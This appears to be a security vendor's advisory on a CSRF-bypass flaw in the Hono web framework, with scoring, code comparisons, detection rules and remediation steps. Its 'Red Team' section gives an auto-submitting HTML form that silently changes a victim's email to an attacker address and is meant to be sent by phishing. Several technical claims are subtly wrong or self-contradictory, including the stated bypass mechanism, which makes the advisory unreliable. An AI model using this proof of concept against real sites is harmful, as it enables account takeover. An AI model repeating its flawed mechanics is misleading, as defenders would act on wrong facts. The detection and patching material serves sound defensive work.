CVE-2024-48913

Executive Summary

CVE-2024-48913 is a medium-severity Cross-Site Request Forgery (CSRF) bypass vulnerability in the Hono web framework, affecting versions prior to 4.6.5. The vulnerability arises from a flawed assumption in the CSRF middleware: it treats HTTP requests without a Content-Type header as safe, allowing an attacker to bypass CSRF protections. This can lead to unauthorized state-changing operations on behalf of an authenticated user. The CVSS score is 5.9 (Medium), and the EPSS probability is 0.0%, indicating low exploitation likelihood in the wild. No public proof-of-concept or exploit code is available at this time.

Supply Chain & Package Security

Hono is a JavaScript/TypeScript web framework distributed via npm. The vulnerability affects the @hono/hono package. Organizations using Hono in their supply chain should verify their dependency version and update to 4.6.5 or later. The package is widely used in serverless and edge computing environments, making this a critical supply chain concern for applications relying on CSRF middleware.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
• Base Score: 5.9 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must be tricked into visiting a malicious site)
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: High
• Availability Impact: None

The threat level is Medium. While exploitation requires user interaction, the impact on integrity is high, as an attacker can perform actions on behalf of the victim without their consent.

Deep Dive & Mechanics

The Hono CSRF middleware is designed to protect against cross-site request forgery by verifying the Content-Type header of incoming requests. The intended logic is to block requests that do not have a valid Content-Type (e.g., application/x-www-form-urlencoded, multipart/form-data, text/plain). However, due to a logic flaw, the middleware treats requests without a Content-Type header as safe, bypassing the CSRF check entirely.

Root Cause: In the vulnerable code, the middleware checks if the Content-Type header exists. If it does not, the request is considered safe and allowed to proceed. This is incorrect because an attacker can craft a request without a Content-Type header (e.g., using a simple <form> with no encoding type) to trigger state-changing actions.

Attack Scenario:

1. An attacker hosts a malicious HTML page that submits a form to a vulnerable Hono endpoint.
2. The form is submitted without a Content-Type header (e.g., using enctype="" or omitting it).
3. The victim, authenticated to the target application, visits the attacker's page.
4. The request bypasses CSRF middleware and executes the action (e.g., changing email, transferring funds).

Vulnerable vs. Patched Code

Vulnerable Code (prior to 4.6.5):

// Simplified CSRF middleware logic
app.use('/api/*', async (c, next) => {
  const contentType = c.req.header('content-type');
  if (!contentType) {
    // BUG: Treats missing Content-Type as safe
    return await next();
  }
  // ... further validation
});

Patched Code (version 4.6.5):

// Fixed CSRF middleware logic
app.use('/api/*', async (c, next) => {
  const contentType = c.req.header('content-type');
  if (!contentType) {
    // FIX: Block requests without Content-Type
    return c.text('Forbidden', 403);
  }
  // ... further validation
});

The patch ensures that requests without a Content-Type header are rejected with a 403 Forbidden status, preventing the bypass.

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

• Target: A Hono application (version < 4.6.5) with CSRF middleware protecting a sensitive endpoint (e.g., /api/change-email).
• Attacker: A simple HTTP server to host a malicious HTML page.

Exploitation Steps:

1. Create a malicious HTML file (csrf.html):

<!DOCTYPE html>
<html>
<body>
  <form action="http://target.com/api/change-email" method="POST" enctype="">
    <input type="hidden" name="email" value="attacker@evil.com">
    <input type="submit" value="Click me">
  </form>
  <script>document.forms[0].submit();</script>
</body>
</html>

2. Host the file on an attacker-controlled server.
3. Send the link to the victim (e.g., via phishing email).
4. When the victim (authenticated to target.com) visits the page, the form auto-submits without a Content-Type header, bypassing CSRF protection.

Note: No public exploit code is available; this is a conceptual demonstration.

Blue Team (Defender)

Detection:

• Monitor for requests to sensitive endpoints that lack a Content-Type header.
• Alert on unusual referrer headers or user-agent strings.
• Use the detection rules below.

Mitigation:

• Immediately upgrade Hono to version 4.6.5 or later.
• Implement additional CSRF protections, such as anti-CSRF tokens or SameSite cookies.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to sensitive endpoints (e.g., /api/change-email, /api/transfer) without a Content-Type header.
  • Requests with Referer header pointing to an external domain.
• Logs:
  • Web server logs showing POST requests to protected endpoints with Content-Type missing.
  • Repeated 403 errors after patching (indicating blocked attempts).
• File:
  • Malicious HTML files hosted on attacker servers containing auto-submitting forms.

Detection Engineering

YARA Rule

rule CVE_2024_48913_CSRF_Bypass {
    meta:
        description = "Detects HTTP requests without Content-Type header targeting Hono endpoints"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-48913"
    strings:
        $http_method = "POST"
        $no_content_type = "Content-Type:"
    condition:
        $http_method at 0 and #no_content_type == 0
}

Sigma Rule

title: CVE-2024-48913 Hono CSRF Bypass via Missing Content-Type
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to sensitive endpoints without a Content-Type header, indicating possible CSRF bypass.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: generic
detection:
    selection:
        http.method: 'POST'
        http.content_type: null
    condition: selection
falsepositives:
    - Legitimate requests from clients that omit Content-Type (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-48913 Hono CSRF Bypass - Missing Content-Type"; flow:to_server; http.method; content:"POST"; http.header_names; content:!"Content-Type"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Patch: Upgrade Hono to version 4.6.5 or later.

   npm install @hono/hono@4.6.5
   

2. Workaround: If immediate upgrade is not possible, implement a custom middleware to reject requests without a Content-Type header:

   app.use('*', async (c, next) => {
     if (!c.req.header('content-type')) {
       return c.text('Forbidden', 403);
     }
     await next();
   });
   

3. Additional Controls:
   • Use anti-CSRF tokens (e.g., double-submit cookie pattern).
   • Set SameSite cookie attribute to Lax or Strict.
   • Validate Origin and Referer headers.
4. Monitoring: Deploy the detection rules above to identify exploitation attempts.

Valters IT
Securing Digital Frontiers